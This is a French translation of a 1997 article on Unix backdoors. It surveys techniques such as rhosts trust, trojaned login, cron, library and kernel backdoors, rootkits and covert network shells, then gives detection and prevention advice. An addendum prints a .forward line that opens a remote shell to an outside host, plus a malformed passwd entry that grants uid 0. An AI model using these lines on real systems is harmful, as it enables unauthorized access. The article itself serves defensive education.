Backdoors
By
Christopher Klaus 8/4/97
Traduit par lansciac
18/01/2000
Depuis que l'informatique existe, on
retrouve des rapports d'intrusion;
les pirates ont essaye de
développer des techniques ou backdoors (trappes)
qui permettent
de rentrer a l'interieur des systemes. Dans cet article,
nous
mettrons l'accent sur les backdoors les plus connues et les
moyens
possibles de les détecter et les eliminer.
La plupart
de nos propos concerneront les systemes Unix avec une
ouverture
sur le système Windows NT. Nous décrirons le problème
en essayent de
determiner la methode qu'utilise les pirates ainsi
que les methodes que les
administrateurs peuvent employer pour
arreter ces intrus. Lorsqu'un
administrateur comprend
combien il est difficile d'arreter des intrus
qui sont deja
"intra muros", le comportement sur la veille
securisationnelle
est mieux assimile. Nous allons essayer de
couvrir la
plupart des failles utilisees par les pirates.
Cependant,
nous ne couvrirons pas toutes les failles car la
creations des 'portes
arrieres' est sans limites.
Les
backdoors utilisees par la plupart des pirates fournissent deux ou
trois
fonctions principales:
Etre capable de rentrer dans
une machine, meme si l'administrateur essaye
de le securiser, par
exemple en changeant tous les mots de passe.
Etre capable de
rentrer dans une machine en laissant le moins de
traces
possibles.
La plupart des backdoors permettent d'etre
logge sur une machine alors que cela
est transparent sur la
machine.
Etre capable de rentrer dans une machine en perdant
le moins de temps possible.
La plupart des pirates veulent
pouvoir utiliser facilement une machine sans
avoir
a
rechercher les failles de securite pour obtenir un
acces.
Dans la plupart des cas, si le pirate pense que
l'administrateur est en
mesure de detecter une backdoor
installee, il cherchera toutes les
failles existantes pour
les utiliser comme des backdoors. Cela ne concerne
evidement pas
celle qui pourrait avertir l'administrateur. Cependant
dans
quelques
cas, les vulnerabilités d'une machine restent
des portes ouvertes non connues.
Password Cracking
Backdoor
Une des premieres et plus anciennes methodes pour
obtenir non seulement
un acces mais aussi une backdoor sur un
systeme Unix etait d'utiliser un
cracker de password. Il
revele les passwords des comptes.La plupart du temps,
les
pirates utilisent des comptes qui sont laisses de cotes et qui ont
des
passwords faciles a trouver et les changent par des pass plus
difficiles.
Quand l'administrateur regarde les comptes, il
ne
s'appercoit pas des changements. Ainsi l'administrateur
ne peut determiner
quels comptes il doit fermer.
Rhosts +
+ Backdoor
Sur des machines en reseau dans un environnement
Unix, les services comme Rsh
et
Rlogin utilisent une simple
methode d'autentification basee sur un
nom d'hote qui est
place dans rhosts. Un utilisateur peut facilement configurer
une
machine pour qu'il n'y ait plus de demande d'autentification
password
pour se logger. Un pirate peut facilement obtenir un
acces en rajoutant
"+ +" dans le fichier de configuration de
rhosts et ainsi se logger sans
password. Cette methode est
tres utilisee, surtout quand NFS exporte le
repertoire
personnel vers l'exterieur. Ces acces deviennent des
backdoors
qui permettent un acces facile au systeme. Beaucoup de
pirates preferent
employer Rsh plutot que Rlogin car c'est
un gain de temps et de possibilites
au niveau du systeme.
Beaucoup d'administrateurs verifient qu'il n'y ait pas
de "+ +"
dans le fichier de configuration; cependant un pirate peut
facilement,
une fois qu'il a un acces, inserer un nom d'hote et
un nom d'utilisateur a
partir
d'un autre compte asservi sur le
reseau, ce qui est par consequent beaucoup
plus
difficile a
trouver.
Checksum and Timestamp Backdoors
Depuis
longtemps, les pirates remplacent les fichiers binaires des
systemes
Unix par leurs propres fichiers munis de trojan.
Beaucoup d'administrateurs
systeme se basent sur le time-stamping
et le systeme de verification des
programmes (system
checksum programs), comme par exemple le programme de
somme
d'Unix (Unix's sum program), pour essayer de determiner quand
un
fichier binaire a ete modifie. Les pirates ont
developpes des technologies qui
recree la meme etiquette
pour le fichier infecte que celle du fichier originale
(NDT:
cette etiquette est un marqueur de temps appele time-stamp qui
indique
la date de creation et de modification du fichier). Cette
action est accomplie
en bidouillant l'horloge systeme. On ramene
l'horloge au moment de la creation
du fichier original et on
insere le fichier infecte. Une fois cette
operation
effectuee, l'horloge est remise a l'heure exacte.
Le programme de somme quand a
lui se base sur un checksum CRC et
est facilement masque. Les pirates ont
developpes des programmes
qui peuvent modifier le fichier binaire infecte de
maniere
a ce qui l'est la meme checksum que le fichier original, et
ainsi
se cacher des administrateurs. La somme de
verification MD5 (checksum MD5) est
le choix recommande par les
vendeurs de nos jours. Le MD5 est base sur un
algorithme
qui
au jour d'aujourd'hui n'a pas donne la preuve qu'il pouvait etre
singe.
Login Backdoor
Sur un systeme Unix, le
programme de login est un logiciel qui utilise
l'autentification
par password lorsque quelqu'un fait un telnet
sur la machine. Les
pirates s'accaparent du code source de login.c
et le modifie de
telle maniere que lorsque le programme verifie
le pass avec le
pass enregistre, il verifiera d'abord le password
ouvrant la
backdoor. Si l'utilisateur rentre le password activant la
backdoor,
il vous pourra se logger sans se soucier du fait que
l'administrateur
se log aussi. Ainsi, vous pouvez vous logger
sous n'importe quel
compte, meme celui de root. Le backdoor
password pourrait multiplier
les acces avant que l'utilisateur se
logge et apparaisse dans
utmp et wtmp. Cependant un pirate peut
etre logge et avoir un acces
shell sans que personne n'apparaisse
comme etant logge sur la machine
sous ce compte. Les
administrateurs mettent en evidence ces backdoors
lorsqu'ils
executent des chaines de commandes pour trouver quel
texte est
inscrit dans le programme de login. La plupart du temps,
les
backdoors passwords sont ainsi mises a jour. Les pirates
avises
encapsulent alors leurs backdoors ou les cryptent, ce qui
permet
de les cacher a des commandes aussi simple. Beaucoup
d'administrateur
peuvent detecter ces backdoors en utilisant un
checksum MD5.
Telnetd Backdoor
Lorsqu'un
utilisateur fait tun telnet sur une machine, le service
Inetd
ecoute sur le port, recoit la demande de connexion et la
passe a in.telnetd,
qui lance le login. Les pirates savent que
les administrateurs utilisent des
programmes de tampering, ils
modifient donc in.telnetd. A l'interieur de
in.telnetd, il y a
plusieurs verifications effectuees comme le type
de
terminal que l'utilisateur emploie. D'habitude, le
terminal employe est
un Xterm ou un VT100. Un pirate peut creer
une backdoor; lorsque le terminal
a ete positionne sur "letmein",
il peut multiplier un shell sans requerir
quelconque
autentification. Les pirates installent des backdoors sur
differents
services ce qui leurs permet d'obtenir un shell tres
facilement
Services Backdoor
Presque chaque service
reseau a à une epoque etait backdoore par un pirate.
Des versions
backdoors de finger, rsh, rexec, rlogin, ftp, meme inetd,
etc.,
existeront toujours. Il existe des programmes qui ne sont
rien de plus que des
shells connectes sur un port TCP avec un
pass pour obtenir un acces. Ces
programmes
remplacent de temps
a autre des services comme uucp qui sont raremement
usites
ou
sont tout simplement ajoutes au fichier inetd.conf
comme un nouveau service.
Les administrateurs devraient etre tres
attentifs quant aux services qui sont
en services et analyser les
services originaux en utilisant une somme
de
verification
basee sur du MD5 (checksum
MD5).
Cronjob backdoor
Le Cronjob sous Unix planifie
le lancement de certaines applications.
Un pirate peut inserer
une backdoor qui ouvre un shell entre 1h et 2h
du matin. Pendant
une heure chaque nuit, le pirate aura un acces. Il
aura ainsi
largement le temps de regarder les programmes qui tournent
dans
la table cron et installer des backdoors dans ces
programmes.
Library backdoors
Presque tous les
systemes unix utilisent des bibliotheques partagees.
Celles-ci
existent car elles executent la meme fonction pour
plusieurs
programmes et diminue ainsi la taille des programmes.
Des pirates ont
implemente
des backdoors dans des routines
comme crypt.c et _crypt.c qui sont utilises
dans les programmes
comme login.c. Ainsi, si le password de la backdoor est
active,
il lance un shell. Encore plus fort, si l'administrateur
verifie
le programme login.c par un checksum MD5, il lancera une
autre backdoor
et ouvrira une autre possibilite de shell. La
plupart des administrateurs
ne pensent pas que les bibliotheques
sont des sources d'infections possibles.
Un des problemes
pour les pirates est que des administrateurs effectuent
un MD5
sur presque tout. Une des alternatives trouvees par les
pirates
est de mettre des backdors sur la routine open() et celle
d'acces au fichier.
Les routines infectees sont configurees pour
lire les fichiers originaux,
mais executent la backdoor.
Cependant, lorsque le programme qui effectue
la somme de
verification MD5 lit ces fichiers, le resultat semble
correct.
Mais lorsque le systeme execute le programme, il lance
le trojan. Meme la
bibliotheque du trojan peut etre cachee
aux 'yeux' d'une checksum MD5.
Une des solutions pour les
administrateurs est de linker les verificateurs
des checksum MD5
et de les utiliser sur le system. Le programme ainsi
linker
n'utilisera pas les bibliotheques infectees et pourra
effectuer correctement
les verifications.
Kernel
backdoors
Le noyau d'un systeme Unix est le coeur du systeme.
La meme methode
que celle appliquee pour les librairies pour
passer outre le checksum MD5
peut etre utilisee au niveau du
noyau, excepte que meme un programme protege
ne sera pas dire la
difference. Un kernel infecte est surement une des choses
les
plus dures a trouver pour un administrateur. Heuresement [pour eux],
les
scripts permettant ces infections ne sont pas encore au
point ni tres repandus.
Cela a cause de la complexite et la
difference de chacun des noyaux.
File system
backdoors
Un pirate peut vouloir archiver son butin ou ses
donnees sur un serveur
sans que l'administrateur ne trouve les
fichiers. Ces fichiers peuvent
contenir ses boites a outils ou
ses scripts d'exploits, backdoors, sniffer,
logs, données copies
comme des e-mails, des code source, etc. Pour cacher
ses fichiers
qui sont parfois volumineux des yeux d'un admin, un pirate
peut
patcher des commandes du shell comme le "ls", le "du" et le
"fsck"
pour cacher l'existence de certains fichiers. A un
tres bas niveau, une
backdoor inseree par un pirate peut
creer une section sur le disque dur
pour avoir un format
proprietaire qui sera designe comme des
secteurs
deffectueux sur le disque dur. Ainsi le pirate
peut acceder au fichiers
caches avec un utilitaire special, mais
aux yeux de l'admin, cela sera
tres dificile de discerner que des
fichiers caches ont ete inserees.
Bootblock
backdoors
Dans le monde des PC, beaucoup de virus
s'inseraient dans le secteur de
boot et de nombreux anti
virus verifiaient ce secteur pour voir si le
secteur de
boot avait ete altere. Sous Unix, la plupart des
administrateurs
n'ont pas d'outils pour verifier le secteur de
boot, et c'est sur cela que
compte les pirates pour inserer
des backdoors dans le secteur de boot.
Process hiding
backdoors
La plupart du temps un pirate veut cacher les
programmes qu'il emploie.
Les programmes qu'ils veulent cacher
sont en general des crackers de
password ou des sniffers.
il existe plusieurs methodes et nous en avons
rassemblees
quelques unes:
Un pirate peut ecrire un programme pour
modifier ses propres
argv[] et le faire tourner sous un autre nom
de process.
Un pirate peut renomer un sniffer en un autre
service legitime comme
in.sylog et le lancer. Ainsi lorsqu'un
admin lance un "ps" ou regarde
les process en cours, les services
standards apparaissent.
Un pirate peut modifier les routines
dans les bibliotheques ainsi "ps"
ne montrera pas les
process.
Un intrus peut patcher une backdoor ou un programme
a l'interieur
d'une routine d'interruption ainsi il n'apparaitra
pas dans la
table des processus. Un exemple de backdoor
utilisant cette technique
est amod.tar.gz et est disponible a
l'adresse
suivante:
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
Un
pirate peut aussi modifier le noyau pour cacher certains
processus.
Rootkit
Un des packages les plus connus
pour installer des backdoors se nomme le
rootkit. Il peut
facilement etre trouve sur le web en le cherchant sur
un
moteur de recherche. Dans le README du rootkit, on
retrouve les fichiers
typiques que l'on peut installer:
z2
- enleve les entrees dans utmp, wtmp, et lastlog.
Es - Le sniffer
rokstar pour les noyaux bases sur sun4.
Fix - falsifie des
checksums, installe avec les meme dates/perms/u/g.
Sl - devenir
root par un password magique envoye au login.
Ic - modifie
ifconfig pour enlever le drapeau de sortie PROMISC.
ps: - cache
les processus.
Ns - modifie netstat pour cacher les connexions de
certaines machines.
Ls - cache certains repertoires et
fichiers.
du5 - cache l'espace utilise sur votre disque
dur.
ls5 - cache certains repertoires et
fichiers.
Network traffic backdoors
Non seulement
les pirates veulent cacher leurs traces sur une machine, mais
ils
veulent aussi cacher leurs activites sur le reseau. Des
backdoors reseau
permettent parfois au pirate d'obtenir un acces
au travers du firewall. Il y a
beaucoup
de programmes de
backdoors reseau qui permettent aux intrus d'utiliser
certains
ports
sur une machine ce qui leur permet de ne pas
utiliser les services normaux.
Parce que le traffic utilise
des ports non standardises, l'administrateur peut
surveiller le
traffic du pirate. Ces backdoors reseau utilisent les
services
TCP, UDP et ICMP mais ils peuvent employer beaucoup
d'autres sortes de paquets.
TCP Shell Backdoors
Un
pirate peut mettre en place une backdoor avec un shell TCP sur de
nombreux
ports que le firewall ne bloquera pas. La plupart du
temps, les shells sont
proteges par un password donc si un
admin essaye de se connecter, il n'aura
pas tout de suite
l'acces. Un admin peut regarder les connexions etablies
et
les
ports qui sont a l'ecoute avec la commande netstat. La
majorite de ces
backdoors
permettent l'emploi des technologies
de TCP Wrapper. Ces backdoors peuvent
utiliser le port SMTP, ce
qui leurs pemet de passer au travers du firewall
sans etre
repere.
UDP Shell Backdoors
Un administrateur peut
facilement reperer une connexion TCP, alors que
dans le cas d'UDP
il aura beaucoup plus de difficultes, et pour cause
car celles-ci
n'apparaissent pas en faisant un netstat. La plupart
des
firewalls sont configures pour laisser passer les packets UDP
comme
les services DNS par exemple. Souvent les pirates
etablissent une
trappe sur ce port et passent ainsi par dessus le
firewall.
ICMP Shell Backdoors
La commande Ping est
une des manieres les plus pratique pour savoir
si une machine
distante est encore vivante. Pour cela on envoie et
on recoit des
paquets ICMP. Beaucoup de firewall permettent a des
machines
externes de pinger une machine a l'interieur du reseau. Un
pirate
peut inserer des donnees dans un paquet ICMP qu'il
enverra
au travers d'un ping et etablir un shell au travers
de ce tunnel.
Un flot important de Ping peut alerter un
administrateur, mais le
temps qu'il analyse les donnees des
paquets, le pirate aura disparu.
Encrypted Link
Un
administrateur peut utiliser un sniffer pour essayer de voir
quels
acces sont presents sur ses machines et par la meme
determiner s'il y
a intrusion ou non. Un pirate peut aussi
ajouter une encryption a sa
trappe reseau ce qui rendra
impossible de determiner ce qui est transmis
entre les deux
machines.
Windows NT
Du fait que Windows Nt
n'autorise pas facilement plusieurs utilisateurs
sur une meme
machine et des acces a distance comme sous Unix, il
est
plus difficile pour un pirate de rentrer a l'interieur
de Windows NT,
installer une backdoor et lancer une attaque a
partir de la.
C'est pour cela que vous trouverez la plupart du
temps des attaques reseau
lancees a partir de postes Unix plutot
que de postes WindowsNT. Au fur et
a mesure que Windows NT
avancera dans le concept du multi-utilisateur, de
meme
augmentera la possibilite pour les pirates d'utiliser
Windows NT a leur
avantage. Assurement, si cela arrive, la
plupart des backdoors utilisees
sous Unix seront portees sous
Windows NT et les administrateurs devraient
s'y preparer.
Aujourd'hui, on trouve deja le demon Telnet sous Windows NT.
Avec
de backdoors reseau, il est tres facile d'installer des trappes
sous
Windows NT.
Solutions
Au fur et a mesure que
les technologies des backdoors avancent, il devient
de plus en
plus dur pour les administrateurs de determiner si un pirate
a
installer une trappe ou si les admins ont bien bloques les
acces.
Evaluation
Une des premieres etapes consiste a
analyser les faiblesses de son reseau,
ce qui permet de faire
ressortir les failles existantes et de les reparer.
Beaucoup
d'outils commerciaux existent pour scanner son reseau et
mettre
en evidance les failles du systeme. Les entreprises
pourrait eviter
des catastrophes si elles installees simplement
les patchs de securite
que les vendeurs mettent gratuitement a
disposition.
La signature MD5
Un des
composants basique et necessaire a la verification du systeme
est
la somme de verification MD5. Il faut effectuer celle
ci lorsque le systeme
est propre. Le fait d'effectuer une
checksum sur le tard laisse emettre
l'hypothese qu'un pirate a
deja infecte le systeme et rend donc celle ci
inutile. De
nombreuses entreprises ont ete piratees et ont des
trappes
d'installees depuis de nombreux mois. La plupart du
temps, meme les back up
sont infectes. Quand les entreprises se
rendent compte qu'elles ont ete
hackees, elle font un back up
dans l'espoir d'enlever ces trappes. L'effort
est donc inutile
car en ayant restaure tous les fichiers, elles auront
aussi
remis
toutes les trappes. L'image de comparaison doit
donc necessairement etre faite
avant qu'une attaque ne se
produise.
La detection d'intrusion
La detection
d'intrusion devient plus important a partir du moment ou
les
entreprises permettent une tele-connexion a leur machine. La
plus
ancienne methode de detection d'intrusion se base sur l'etude des
logs.
La methode la plus recente quant a elle (intrusion
detection system (IDS))
utilise le sniffing en temps reel et
l'analyse du reseau. La plupart des
trappes reseau peuvent donc
facilement etre detectees. la derniere technologie
IDS peut
verifier les paquets UDP de DNS et determiner si la demande
du
protocole
DNS correspond avec une demande normale.Si les
donnees circulant sur le port
DNS
ne correspondent pas avec
celles du protocole DNS, un indicateur d'alerte est
active
et
les donnees sont capturees pour permettre une analyse. Le meme
principe peut
etre applique aux paquets ICMP pour voir si les
donnees du ping sont coherentes
ou
si ce sont des donnees
codees d'une session shell.
Boot from CD-ROM.
Les
administrateurs devraient prendre en compte les possibilites de
boot
a partir du CD-Rom, ce qui permettrait d'eliminer la
possibilite aux pirates
d'installer des trappes a partir des
CD-Rom. Le probleme avec cette methode
reside dans le cout et le
temps de la mise en place dans les
grandes
entreprises.
Etre vigilant
Parce que le
milieu de la securite change tous les jours, avec de
nouvelles
vulerabilites annoncees quotidiennement et l'incessance
des pirates a
construire
dse nouvelles attaques et techniques
de trappes, il ne peut y avoir de
technologie
de securite
effective sans une grande vigilance.
Etre conscient qu'il n'y
a pas de defense impermeable, et qu'il n'y a pas
de meilleure
defense qu'une surveillance
attentive.
-------------------------------------------------------------------------
On
peut ajouter
.forward Backdoor
Sur les machines Unix,
placer des commandes dans le fichier .forward
est aussi une
methode tres employee pour obtenir un acces. Pour le
compte
"username", le fichier .forward doit contenir les lignes
suivantes.
\username
|"/usr/local/X11/bin/xterm -disp
hacksys.other.dom:0.0 -e /bin/sh"
Une autre possibilite
existe avec le fichier des alias de mail.
(fichier qui se trouve
frequement dans /etc/aliases). c'est une
possibilite parmis tant
d'autres. Ce qui est fait au dessus
executera un script a
partir du fichier forward et pourra
recevoir des commandes
a partir de stdin.
PS: La methode ci dessus est aussi
utilise pour obtenir un acces mail
dans les entreprises (on
considere le fait que le repertoire personnel
est partage sur la
machine client et le serveur).
> utiliser smrsh peut
effectivement fixer ce probleme (bien qu'il
> est possible que
cela entraine des problemes si vous employez
> les filtres elm
ou autorisez des programmes a se lancer
automatiquement)
---------------------------------------------------------------------------
Pour
terminer, une derniere trappe qui peut etre trouvee:
lorsque
un mauvais uid/gid est specifie dans /etc/password,
la plupart
des programmes de login ne verifieront pas
ce mauvais chiffrement
et atoi (NDT: array to integer() fonction)
posistionnera l'uid et
le gid a 0, donnant les privileges
du
superutilisateur.
exemple:
rmartin:x:x50:50:R.
Martin:/home/rmartin:/bin/tcsh
sur un systeme Linux ,
l'utilisateur rmatin obtiendra l'uid
0.
__________________________________________________________________
Traduit
par lansciac
18/01/2000